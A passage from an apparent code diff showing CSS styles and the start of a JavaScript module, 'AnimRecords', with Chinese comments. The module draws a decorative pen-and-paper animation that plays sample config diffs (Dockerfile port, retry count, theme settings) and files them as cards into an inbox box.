/* origin 必须在基础规则上恒定绕底部翘起底边不露盒口
若只写在 is-hover 移出时 origin 瞬间跳回默认中心点视觉上就是瞬间弹回 */
transform-origin: 50% 100%;
}
.file-flight.is-on { opacity: 1; }
/* 三轮收盒后可交互hover 微抬+向右倾(选中感) */
.file-flight.is-hover {
transform: translate(2px, -2px) rotate(2.5deg);
}
/* 倒出查看时封面文字淡出diff 层接管内容) */
.file-cover-name, .file-cover-stat { transition: opacity 0.3s ease; }
.file-flight.is-bare .file-cover-name,
.file-flight.is-bare .file-cover-stat { opacity: 0; }
/* SVG 卡片path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓S 曲线斜边也有描边) */
.file-flight-shape {
fill: var(--file-paper);
stroke: var(--file-line);
stroke-width: 1;
}
.file-cover-name {
font-family: var(--font-mono);
font-size: 15px;
letter-spacing: 0.02em;
fill: var(--text-3); /* 和纸上线条同色 */
}
.file-cover-stat {
font-family: var(--font-mono);
font-size: 11px;
}
.file-cover-stat .add { fill: var(--ok); }
.file-cover-stat .del { fill: var(--danger); }
/* 卡片热区三层卡只露出顶边一截热区从顶边向下延伸到盒口前缘JS 定高
重叠区归层级更高更靠前的卡 */
.card-hotspot {
position: absolute;
cursor: pointer;
}
/* 倒出查看的 diff 层:位置同 diff-view卡片倒出落点四行逐行淡入点击收回 */
.replay-diff {
position: absolute;
left: 134px;
transform: translateX(-50%);
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
display: flex;
flex-direction: column;
gap: 3px;
z-index: 26; /* 高于盒内堆叠卡21~23与盒前壁30不重叠位于 diff 区) */
opacity: 0;
transition: opacity 0.3s ease;
cursor: pointer;
}
.replay-diff.is-on { opacity: 1; }
.replay-diff .dline {
opacity: 0;
transform: translateY(3px);
transition: opacity 0.3s ease, transform 0.3s ease;
}
.replay-diff.is-on .dline { opacity: 1; transform: none; }
/* 收回:整体快速淡出(行不再逐行延迟,避免拖慢收回节奏) */
.replay-diff.is-closing { opacity: 0; transition: opacity 0.22s ease; }
.replay-diff.is-closing .dline { transition: none; transition-delay: 0ms; opacity: 1; transform: none; }
.dline {
position: relative;
display: flex;
gap: 12px;
padding: 3px 10px;
border-radius: 4px;
/* 容器本身始终不透明转正落位的字符立即可见不经历消失淡入
/绿底色由 ::before 独立淡入+/- 符号独立淡入 */
white-space: nowrap;
}
.dline::before {
content: '';
position: absolute;
inset: 0;
border-radius: 4px;
opacity: 0;
transition: opacity 0.3s ease;
pointer-events: none;
}
.dline.is-del::before { background: rgba(212, 123, 107, 0.08); }
.dline.is-add::before { background: rgba(123, 168, 137, 0.10); }
.dline.is-shown::before { opacity: 1; }
.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; }
.dline.is-shown .dsign { opacity: 1; }
.dline.is-del { color: var(--danger); }
.dline.is-add { color: var(--ok); }
/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */
.dch { opacity: 0; }
.dch.is-lit { opacity: 1; }
/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */
.dch-ghost {
position: absolute;
left: 0;
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
pointer-events: none;
/* 不设 will-change合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */
transition: transform 0.34s cubic-bezier(.35,.1,.25,1);
z-index: 35; /* 高于盒前壁30飞行字母不被盒子挡 */
}
/* 笔尖/橡皮定位参考点visibility 隐藏保留几何盒供 getBoundingClientRect 实测
同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */
.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
/* 收件箱genie 收盒
后壁 z10纸挡住它前壁 z30它挡住纸纸从前后壁之间沉入 */
.inbox-part {
position: absolute;
left: 86px; /* 中心线 x=134 */
top: 166px;
width: 96px;
height: 96px;
color: var(--text-1);
opacity: 0;
transition: opacity 0.35s ease;
pointer-events: none;
}
.inbox-part.is-shown { opacity: 1; }
.box-back { z-index: 10; }
.box-front { z-index: 30; }
/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */
.box-front path { fill: var(--bg-1); }
/* 盒内纸叠genie 终态的文件卡片(.file-flight本身就是插在盒子里的纸 */

View File

@ -0,0 +1,899 @@
/* 修改记录动画 —— 可复用模块(主页 feature 行 / anim3-demo 页共用
* AnimRecords.init(container)在容器内建 DOM 并自动播放
* 三轮收盒后自动轮播三张卡的 diff 详情用户按下卡片暂停轮播 5
*
* 舞台固定 540×380 逻辑尺寸按容器等比缩放居中transform scale
* 所有内部坐标不随容器变化getBoundingClientRect 读数是缩放后的视口值
* 统一除以 curScale 换算回舞台本地坐标
*/
window.AnimRecords = (function () {
'use strict';
var LOGICAL_W = 540, LOGICAL_H = 380;
function init(container) {
container.innerHTML =
'<div class="anim3-window">' +
'<div class="anim3-stage" id="anim3Stage">' +
'<div class="writer" id="writer"><span class="writer-avatar" id="writerAvatar"></span></div>' +
'<div class="pen-pos" id="penPos">' +
'<svg class="writer-pen" id="writerPen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path fill="var(--bg-1)" d="M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z" />' +
'<path d="m15 5 4 4" />' +
'<circle id="penNibRef" class="pen-ref" cx="2.65" cy="21.02" r="0.7" />' +
'<circle id="penEraserRef" class="pen-ref" cx="19.2" cy="4.8" r="0.7" />' +
'</svg>' +
'</div>' +
'<div class="paper3d" id="paper"><div class="paper-sheet">' +
'<div class="pline" data-w="82"><i class="pline-end"></i></div>' +
'<div class="pline" data-w="64"><i class="pline-end"></i></div>' +
'<div class="pline" data-w="71"><i class="pline-end"></i></div>' +
'<div class="pline" data-w="58"><i class="pline-end"></i></div>' +
'</div></div>' +
'<svg class="inbox-part box-back is-shown" id="boxBack" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path d="M2 12 L5.45 5.11 A2 2 0 0 1 7.24 4 H16.76 a2 2 0 0 1 1.79 1.11 L22 12" />' +
'</svg>' +
'<svg class="inbox-part box-front is-shown" id="boxFront" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path d="M2 12 h6 l2 3 h4 l2 -3 h6 v6 a2 2 0 0 1 -2 2 H4 a2 2 0 0 1 -2 -2 z" />' +
'</svg>' +
'<div class="diff-view" id="diffView">' +
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">theme: \'dark\'</span></div>' +
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">theme: \'classic\'</span></div>' +
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">fontSize: 13, lineHeight: 1.4</span></div>' +
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">fontSize: 14, lineHeight: 1.6</span></div>' +
'</div>' +
'</div>' +
'</div>';
var stage = document.getElementById('anim3Stage');
var paper = document.getElementById('paper');
var penPos = document.getElementById('penPos');
var pen = document.getElementById('writerPen');
var boxBack = document.getElementById('boxBack');
var boxFront = document.getElementById('boxFront');
var diffView = document.getElementById('diffView');
var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline'));
var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline'));
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true });
}
/* 540×380 min(w/540, h/380)
垂直方向按内容中心CONTENT_CY对齐容器中心内容包围盒为 diff 0 ~ 盒底 262
中心 131 舞台中心 190直接居中会让整体视觉偏上 */
var CONTENT_CY = 131;
var curScale = 1;
function updateScale() {
var w = container.clientWidth, h = container.clientHeight;
curScale = Math.min(w / LOGICAL_W, h / LOGICAL_H) || 1;
stage.style.top = 'calc(50% + ' + ((LOGICAL_H / 2 - CONTENT_CY) * curScale).toFixed(1) + 'px)';
stage.style.transform = 'translate(-50%, -50%) scale(' + curScale + ')';
}
if (window.ResizeObserver) new ResizeObserver(updateScale).observe(container);
window.addEventListener('resize', updateScale);
/* rect stage scale curScale
sr 一律现场重测擦写/飞行序列长达数百 ms外部缓存的旧 sr 在页面滚动后已过期
与调用方刚实测的 rect 相差一个滚动量文字的起点终点就会跟着页面滚动歪掉 */
function toLocal(rect, sr) {
sr = stageRect();
return {
left: (rect.left - sr.left) / curScale,
top: (rect.top - sr.top) / curScale,
width: rect.width / curScale,
height: rect.height / curScale
};
}
var gen = 0;
/* /
* SVG 内放了两个隐形参考点penNibRef / penEraserRef
* 运行时 getBoundingClientRect 实测其渲染位置做补偿
* 无论笔怎么旋转/摇摆作用点都精确钉在目标上 */
var nibRef = document.getElementById('penNibRef');
var eraserRef = document.getElementById('penEraserRef');
var penTx = 0, penTy = 0;
/*
04 同款手持偏移writer 盒左上 (412,26) + (46,58) */
var PEN_HOME = { x: 458, y: 84 };
/* rAF rAF
恢复可见时从冻结点继续setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
async function step(ms, myGen) {
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls) {
var e = document.createElement(tag);
if (cls) e.className = cls;
return e;
}
function stageRect() { return stage.getBoundingClientRect(); }
/* 缓动 */
function easeOut(p) { return 1 - (1 - p) * (1 - p); }
function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); }
/* rAF 逐帧驱动,进度按可见时间累计(后台冻结,恢复不跳变);返回 false/取消时提前结束 */
function tween(ms, fn, myGen) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
acc += Math.min(now - last, 100);
last = now;
var p = Math.min(acc / ms, 1);
fn(p);
if (p >= 1) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function setPen(x, y) {
penTx = x; penTy = y;
penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)';
}
/* 手动微调css px数据对准后仍有轻微视觉偏差时在这里调用户肉眼验收 */
var NIB_TWEAK = { x: 0, y: -1.8 };
var ERASER_TWEAK = { x: 0, y: 0 };
/* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate一次收敛 */
function refTo(refEl, x, y, sr) {
sr = stageRect(); /* 现场重测,同 toLocal */
var r = refEl.getBoundingClientRect();
var cx = (r.left + r.width / 2 - sr.left) / curScale;
var cy = (r.top + r.height / 2 - sr.top) / curScale;
setPen(penTx + (x - cx), penTy + (y - cy));
}
function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); }
function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); }
/* 线
* 用线内右端锚点.pline-end的实测位置兼容 3D 透视 + rotZ 倾斜 */
function lineTip(line, sr) {
sr = stageRect(); /* 现场重测,同 toLocal */
var r = line.querySelector('.pline-end').getBoundingClientRect();
return { x: (r.left + r.width / 2 - sr.left) / curScale, y: (r.top + r.height / 2 - sr.top) / curScale };
}
function nibToLineTip(line, sr) {
var t = lineTip(line, sr);
nibTo(t.x, t.y, sr);
}
/* 三轮内容Dockerfile / Python / TS不全是一种代码
纸上横线长度 对应行字符数~2.3%/线
file/tone收盒前渐变覆盖的文件卡//绿露出一截即可分辨 */
var ROUNDS = [
{
file: 'Docker',
paperW: [34, 26, 59, 44],
edits: [
{ newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' },
/* 最长行 26 字符≈237px 宽diff 左缘保持在 stage 内(>15px否则左缘描边被 stage 裁掉 */
{ newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' }
]
},
{
file: 'api.py',
paperW: [56, 35, 46, 30],
edits: [
{ newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' },
{ newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' }
]
},
{
file: 'theme.ts',
paperW: [46, 30, 66, 58],
edits: [
{ newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" },
{ newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' }
]
}
];
/* SVG dx/dy=0.5 1px 1px
每往里一张纸顶边抬高 ~10px宽度按侧边角度同步收窄只露出顶部一截
topY/bottomY stage 坐标wRatio 为相对盒子图标宽的比例 */
/* ~8%
底边都落在盒口附近194/183/172每张收进去的瞬间都是真的插进盒子不悬空
顶边各露 5px底边落差 11px - 高度缩 6px 5px */
/*
每张收进去的瞬间都是真的插进盒子不悬空顶边各露 5px
坐标基于盒子下移 50px 盒口 y=224 */
var FILED_SPECS = [
{ topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52最宽、最低、贴前壁 */
{ topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */
{ topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40底边在盒口线上 */
];
/* diff /
落位的 ghost 会转正替换占位符成为流内正式字符reset 时重建占位 */
var dlineTexts = [];
function setDiffTexts(r) {
var e = ROUNDS[r].edits;
dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add];
}
setDiffTexts(0);
var dlineChars = dlines.map(function () { return []; });
function buildDlineChars() {
dlines.forEach(function (d, di) {
var t = d.querySelector('.dtext');
t.textContent = '';
dlineChars[di] = [];
for (var i = 0; i < dlineTexts[di].length; i++) {
var c = el('span', 'dch');
/* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */
c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i];
t.appendChild(c);
dlineChars[di].push(c);
}
});
}
buildDlineChars();
/* (x0,y0)/ diff
落位后转正替换占位符成为流内正式字符genie 收纸时文字随纸一起变形
首个落位字符触发行容器/绿底色淡入底色与文字同步不先于文字出现 */
function flyChar(x0, y0, chSpan, sr, myGen) {
sr = stageRect(); /* 现场重测,同 toLocal与 to 同刻,滚动不歪 */
var to = chSpan.getBoundingClientRect();
var g = el('span', 'dch-ghost');
g.textContent = chSpan.textContent;
g.style.color = getComputedStyle(chSpan).color;
g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)';
stage.appendChild(g);
void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */
g.style.transform = 'translate(' + ((to.left - sr.left) / curScale).toFixed(1) + 'px,' + ((to.top - sr.top) / curScale).toFixed(1) + 'px)';
g.addEventListener('transitionend', function handler() {
g.removeEventListener('transitionend', handler);
if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; }
/* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符同帧完成无跳变 */
g.style.cssText = '';
g.className = 'dch is-lit';
var row = chSpan.parentNode; /* .dtext */
var dline = row.parentNode; /* .dline */
row.replaceChild(g, chSpan);
/* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */
dline.classList.add('is-shown');
});
}
function applyWidths() {
lines.forEach(function (l) {
l.style.width = l.dataset.w + '%';
});
}
function reset() {
gen += 1;
disableBrowse();
pen.classList.remove('is-writing');
penPos.classList.remove('is-live');
lines.forEach(function (l) {
l.classList.remove('is-new');
l.style.opacity = '';
});
lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; });
applyWidths();
setDiffTexts(0);
diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); });
buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */
Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); });
diffView.style.clipPath = '';
diffView.style.transform = '';
diffView.style.transformOrigin = '';
diffView.style.opacity = '';
diffView.style.visibility = '';
diffView.classList.remove('is-sheet');
void diffView.offsetWidth;
diffView.classList.remove('no-fade');
/* 收件箱始终显示,不在重置时隐藏 */
pen.classList.remove('is-erasing');
pen.style.transform = '';
penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */
penPos.classList.remove('is-live');
}
/* 改写一行:飞向行右端同时倒转笔换到橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 边转回边滑到书写位 → 新行从笔尖长出 */
async function rewriteLine(line, newW, delDline, addDline, myGen) {
var sr = stageRect();
var oldW = parseFloat(line.dataset.w);
// 1) 飞行倒笔一步到位:飞向行右端的同时顺时针转 90° + 滑移换端,到达时橡皮恰好按到线上
// (擦除姿态为「左上—右下」:橡皮在右下接触线,笔身朝左上,与写字的「左下—右上」镜像区分)
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate
// (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate
pen.classList.add('is-erasing');
penPos.classList.add('is-live');
var t0 = lineTip(line, sr);
var fromX = penTx, fromY = penTy;
pen.style.transform = 'rotate(90deg)';
eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */
var toX = penTx, toY = penTy;
pen.style.transform = '';
setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */
await tween(540, function (p) {
var e = easeInOut(p);
pen.style.transform = 'rotate(' + (90 * e).toFixed(1) + 'deg)';
setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e);
}, myGen);
// 3) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左)
// 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现
var delChars = dlineChars[dlines.indexOf(delDline)];
var dN = delChars.length;
var nextDel = dN - 1;
var eraseMs = Math.round(oldW * 7);
await tween(eraseMs, function (p) {
line.style.width = (oldW * (1 - easeInOut(p))) + '%';
var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回±7°
pen.style.transform = 'rotate(' + (90 + wob).toFixed(1) + 'deg)';
var t = lineTip(line, sr);
eraserTo(t.x, t.y, sr);
while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) {
flyChar(t.x, t.y, delChars[nextDel], sr, myGen);
nextDel--;
}
}, myGen);
// 5) 回正:翻回 0° 与换端回笔尖融合为一步(线宽已 0右端即行首到位即开写
// 转回 0° 后移除 is-erasingorigin 切回笔尖无跳变
var home = lineTip(line, sr);
var backFromX = penTx, backFromY = penTy;
pen.style.transform = '';
nibTo(home.x, home.y, sr);
var backToX = penTx, backToY = penTy;
pen.style.transform = 'rotate(90deg)';
setPen(backFromX, backFromY);
await tween(300, function (p) {
var e = easeInOut(p);
pen.style.transform = 'rotate(' + (90 * (1 - e)).toFixed(1) + 'deg)';
setPen(backFromX + (backToX - backFromX) * e, backFromY + (backToY - backFromY) * e);
}, myGen);
pen.classList.remove('is-erasing');
pen.style.transform = '';
// 6) 写上绿色新内容笔尖跟随右端is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右)
pen.classList.add('is-writing');
var addChars = dlineChars[dlines.indexOf(addDline)];
var aN = addChars.length;
var nextAdd = 0;
var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写)
await tween(writeMs, function (p) {
line.style.width = (newW * easeOut(p)) + '%';
nibToLineTip(line, sr);
while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) {
var t2 = lineTip(line, sr);
flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen);
nextAdd++;
}
}, myGen);
pen.classList.remove('is-writing');
}
/* genie · DOM
每帧把 S 曲线轮廓底部先收窄侧边弧线顶部后动算成 pathfill 纸色+描边跟随
裁掉轮廓外的部分裁切不压缩内容全程原样清晰
文字随轮廓中心移动矢量缩小字号终态轮廓恰好是插在盒口的小矩形
三轮播完后动画可逆点击盒内卡片按原路径倒出查看genieRun dir=-1 */
/* genie 时序:塞入/倒出共用。833/533= 原 1000/640 再提 1.2 倍速,相位结构不变) */
var GENIE_TOTAL = 833;
var GENIE_SLICE = 533;
var GENIE_MAXDELAY = GENIE_TOTAL - GENIE_SLICE;
/* genie 几何参数:收盒时算一次缓存到 flight._geom倒出时原样复用 */
function computeGenieGeom(flight, r) {
var sr = stageRect();
var br = toLocal(boxBack.getBoundingClientRect(), sr);
var px = +flight.dataset.px, py = +flight.dataset.py;
var W = +flight.dataset.w, H = +flight.dataset.h;
/* 盒口中心stage 坐标):图标 y=12/24 处为盒口前缘线 */
var mouthX = br.left + br.width / 2;
/* 收盒顺序 3→2→1第一轮收最里面最后一轮收最前后收的挡先收的 */
var spec = FILED_SPECS[FILED_SPECS.length - 1 - r];
var sinkY = spec.bottomY - (py + H);
return {
W: W, H: H, sinkY: sinkY,
centerDx: mouthX - (px + W / 2),
minS: (br.width * spec.wRatio) / W,
compressH: spec.topY - py - sinkY
};
}
/* genie p0=1= S 线
正放收盒与倒放倒出共用倒放只是 p 1 走回 0返回轮廓包围盒 */
function genieFrame(flight, g, p) {
var shape = flight._shapeEl;
var name = flight._nameEl;
var stat = flight._statEl;
var W = g.W, H = g.H, sinkY = g.sinkY, centerDx = g.centerDx;
var minS = g.minS, compressH = g.compressH;
/* 交错相位运动:底部先动先快,顶部延迟;侧边 72 段采样≈1.6px/段)平滑无锯齿 */
var N = 72;
var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */
var now = p * GENIE_TOTAL;
var L = [], R = [];
var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9;
for (var i = 0; i < N; i++) {
var v = (i + 0.5) / N;
var start = (1 - v) * GENIE_MAXDELAY;
var q = Math.min(Math.max((now - start) / GENIE_SLICE, 0), 1);
var e = easeInOut(q);
var sx = 1 - (1 - minS) * e;
var ty = (sinkY + (1 - v) * compressH) * e;
var tx = centerDx * e;
var lw = W * sx;
var lx = (W - lw) / 2 + tx, rx = lx + lw;
var yt = i * H / N + ty, yb = (i + 1) * H / N + ty;
L.push([lx, yt], [lx, yb]);
R.push([rx, yt], [rx, yb]);
if (lx < minX) minX = lx;
if (rx > maxX) maxX = rx;
if (yt < minY) minY = yt;
if (yb > maxY) maxY = yb;
}
/* Q = RR
/底边内缩 RR侧边从 ±RR 处起笔落在角区内的端部小段跳过/截断
这样 Q 跨距 RR×RR等效圆角与端点 roundedRectD r=3.5 圆弧视觉一致
早前版本侧边只跨一个切片H/N1.7pxQ 被压成 ~1px 微圆角直角
倒放到位切换 roundedRectD 时圆角瞬间跳变bug */
var f = function (n) { return n.toFixed(1); };
var lt = L[0], rt = R[0];
var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1];
var RRe = Math.min(RR, (rt[0] - lt[0]) / 2, (rbN[0] - lbN[0]) / 2, (lbN[1] - lt[1]) / 2);
var rtIn = lt[1] + RRe, rbIn = rbN[1] - RRe; /* 右侧:上角区下沿 / 下角区上沿 */
var ltIn = lt[1] + RRe, lbIn = lbN[1] - RRe; /* 左侧:上角区下沿 / 下角区上沿 */
var d = 'M' + f(lt[0] + RRe) + ',' + f(lt[1]);
d += ' L' + f(rt[0] - RRe) + ',' + f(rt[1]);
d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rt[0]) + ',' + f(rtIn); /* 右上 */
for (var i = 0; i < N; i++) {
var u2 = R[i * 2], d2 = R[i * 2 + 1];
if (d2[1] <= rtIn || u2[1] >= rbIn) continue; /* 整段落在角区内 */
var ax = u2[0], ay = u2[1], bx = d2[0], by = d2[1];
if (ay < rtIn) { var s = (rtIn - ay) / (by - ay); ax += (bx - ax) * s; ay = rtIn; }
if (by > rbIn) { var s2 = (rbIn - ay) / (by - ay); bx = ax + (bx - ax) * s2; by = rbIn; }
d += ' L' + f(ax) + ',' + f(ay);
d += ' L' + f(bx) + ',' + f(by);
}
d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RRe) + ',' + f(rbN[1]); /* 右下 */
d += ' L' + f(lbN[0] + RRe) + ',' + f(lbN[1]); /* 底边 */
d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(lbN[0]) + ',' + f(lbIn); /* 左下 */
for (var j = N - 1; j >= 0; j--) {
var dn = L[j * 2 + 1], up = L[j * 2];
if (dn[1] <= ltIn || up[1] >= lbIn) continue; /* 整段落在角区内 */
var cx2 = dn[0], cy2 = dn[1], dx2 = up[0], dy2 = up[1];
if (cy2 > lbIn) { var s3 = (lbIn - dy2) / (cy2 - dy2); cx2 = dx2 + (cx2 - dx2) * s3; cy2 = lbIn; }
if (dy2 < ltIn) { var s4 = (ltIn - cy2) / (dy2 - cy2); dx2 = cx2 + (dx2 - cx2) * s4; dy2 = ltIn; }
d += ' L' + f(cx2) + ',' + f(cy2);
d += ' L' + f(dx2) + ',' + f(dy2);
}
d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RRe) + ',' + f(lt[1]); /* 左上 */
d += ' Z';
shape.setAttribute('d', d);
/*
font-size 必须内联 stylepresentation attribute 优先级低于 CSS 规则会被压住 */
var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2;
var sc = (maxX - minX) / W;
/* 字号双保险随收窄等比缩且不超过卡片宽能放下的上限mono 字宽 ≈0.62em */
var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62);
var fs1 = Math.min(Math.max(15 * sc, 7), fsFit);
var fs2 = Math.max(11 * sc, 7);
name.setAttribute('x', cx);
name.setAttribute('y', cy - 2);
name.style.fontSize = fs1.toFixed(1) + 'px';
stat.setAttribute('x', cx);
stat.setAttribute('y', cy + fs2 + 2);
stat.style.fontSize = fs2.toFixed(1) + 'px';
return { x: minX, y: minY, w: maxX - minX, h: maxY - minY };
}
/* genie 正放(收盒 dir=1/ 倒放(倒出 dir=-1同一套帧函数双向驱动 */
async function genieRun(myGen, flight, dir) {
var g = flight._geom;
var lastBox = null;
await tween(GENIE_TOTAL, function (p) {
lastBox = genieFrame(flight, g, dir > 0 ? p : 1 - p);
}, myGen);
/* 端点定格为精确圆角矩形(收盒=盒口堆叠小卡;倒出=完整封面),消除折线近似 */
if (dir > 0) {
flight._shapeEl.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5));
flight._lastBox = lastBox;
} else {
flight._shapeEl.setAttribute('d', roundedRectD(0, 0, g.W, g.H, 3.5));
}
}
async function genieIntoBox(myGen, r, flight) {
flight._geom = computeGenieGeom(flight, r);
var g = flight._geom;
flight.style.height = (g.H + g.sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */
await genieRun(myGen, flight, 1);
}
/* SVG 工具SVG 元素必须用 createElementNS 创建createElement 建的不渲染) */
var SVG_NS = 'http://www.w3.org/2000/svg';
function svgEl(tag, cls) {
var e = document.createElementNS(SVG_NS, tag);
if (cls) e.setAttribute('class', cls);
return e;
}
/* 圆角矩形 path初始封面与终态卡片用genie 期间为直边多边形) */
function roundedRectD(x, y, w, h, r) {
return 'M' + (x + r) + ',' + y +
' L' + (x + w - r) + ',' + y +
' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) +
' L' + (x + w) + ',' + (y + h - r) +
' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) +
' L' + (x + r) + ',' + (y + h) +
' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) +
' L' + x + ',' + (y + r) +
' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z';
}
/* SVGpath +text +
diff 内容直接消失卡片是 SVG 单元素描边跟随 path 轮廓S 曲线斜边也有 */
async function showFileCover(r, myGen) {
var sr = stageRect();
var pr = toLocal(diffView.getBoundingClientRect(), sr);
var px = pr.left, py = pr.top;
var W = pr.width, H = pr.height;
var flight = svgEl('svg', 'file-flight');
flight.style.left = px + 'px';
flight.style.top = py + 'px';
flight.style.width = W + 'px';
flight.style.height = H + 'px';
/* 创建即设层级(先收最里 21后收在前封面期就必须在 diffView(z20) 之上 */
flight.style.zIndex = String(21 + r);
flight.dataset.px = px; flight.dataset.py = py;
flight.dataset.w = W; flight.dataset.h = H;
var shape = svgEl('path', 'file-flight-shape');
shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5));
var name = svgEl('text', 'file-cover-name');
name.setAttribute('x', W / 2);
name.setAttribute('y', H / 2 - 3);
name.setAttribute('text-anchor', 'middle');
name.textContent = ROUNDS[r].file;
var stat = svgEl('text', 'file-cover-stat');
stat.setAttribute('x', W / 2);
stat.setAttribute('y', H / 2 + 14);
stat.setAttribute('text-anchor', 'middle');
var add = svgEl('tspan', 'add'); add.textContent = '+2';
var del = svgEl('tspan', 'del'); del.textContent = ' -2';
stat.appendChild(add);
stat.appendChild(del);
flight.appendChild(shape);
